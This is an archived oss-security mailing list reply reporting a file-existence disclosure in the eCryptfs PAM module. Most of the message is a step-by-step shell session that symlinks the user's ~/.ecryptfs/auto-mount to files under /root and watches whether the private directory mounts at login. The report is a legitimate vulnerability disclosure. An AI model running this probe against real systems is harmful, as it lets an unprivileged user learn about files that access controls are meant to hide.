oss-security - Re: Re: ecryptfs headsup

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <CAHmME9pReF5h+nnAG5qn9CKeGQtJcg4EzgtQT7hns1A1QDLjeg@mail.gmail.com>
Date: Sat, 14 Jul 2012 09:18:27 +0200
From: "Jason A. Donenfeld" <Jason@...c4.com>
To: oss-security@...ts.openwall.com
Cc: Tyler Hicks <tyhicks@...onical.com>, Kurt Seifried <kseifried@...hat.com>, 
	Marcus Meissner <meissner@...e.de>, Dan Rosenberg <dan.j.rosenberg@...il.com>
Subject: Re: Re: ecryptfs headsup

Looks like another issue with that pam module. I can determine whether
or not any file exists as an unprivileged user:

We make sure that we have an existing root file and a non-existing root file:
zx2c4@...g ~ $ sudo touch /root/this-file-exists
zx2c4@...g ~ $ sudo rm -f /root/this-file-does-not-exist

We double check that zx2c4 can't know about them:
zx2c4@...g ~ $ stat /root/this-file-exists
stat: cannot stat `/root/this-file-exists': Permission denied
zx2c4@...g ~ $ stat /root/this-file-does-not-exist
stat: cannot stat `/root/this-file-does-not-exist': Permission denied
zx2c4@...g ~ $ ls /root
ls: cannot open directory /root: Permission denied

We replace .ecryptfs/auto-mount with a symlink to a root file that
does not exist:
zx2c4@...g ~ $ rm -f .ecryptfs/auto-mount
zx2c4@...g ~ $ ln -s /root/this-file-does-not-exist .ecryptfs/auto-mount


And we see that our private directory doesn't get mounted:
zx2c4@...g ~ $ sudo login zx2c4
Password:
Last login: Sat Jul 14 03:07:33 EDT 2012 on pts/5
zx2c4@...g ~ $ mount|grep ecrypt

zx2c4@...g ~ $ exit

We next replace .ecryptfs/auto-mount with a symlink to a root file
that *does* exist:
zx2c4@...g ~ $ rm -f .ecryptfs/auto-mount
zx2c4@...g ~ $ ln -s /root/this-file-exists .ecryptfs/auto-mount

And we see that it does in fact get mounted:
zx2c4@...g ~ $ sudo login zx2c4
Password:
Last login: Sat Jul 14 03:09:10 EDT 2012 on pts/5
zx2c4@...g ~ $ mount|grep ecrypt
/home/zx2c4/.Private on /home/zx2c4/Private type ecryptfs
(ecryptfs_check_dev_ruid,ecryptfs_sig=e38bb31e419c9f03,ecryptfs_fnek_sig=5e2b499985de965d,ecryptfs_cipher=aes,ecryptfs_key_bytes=16,ecryptfs_unlink_sigs)

File existence disclosure.

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.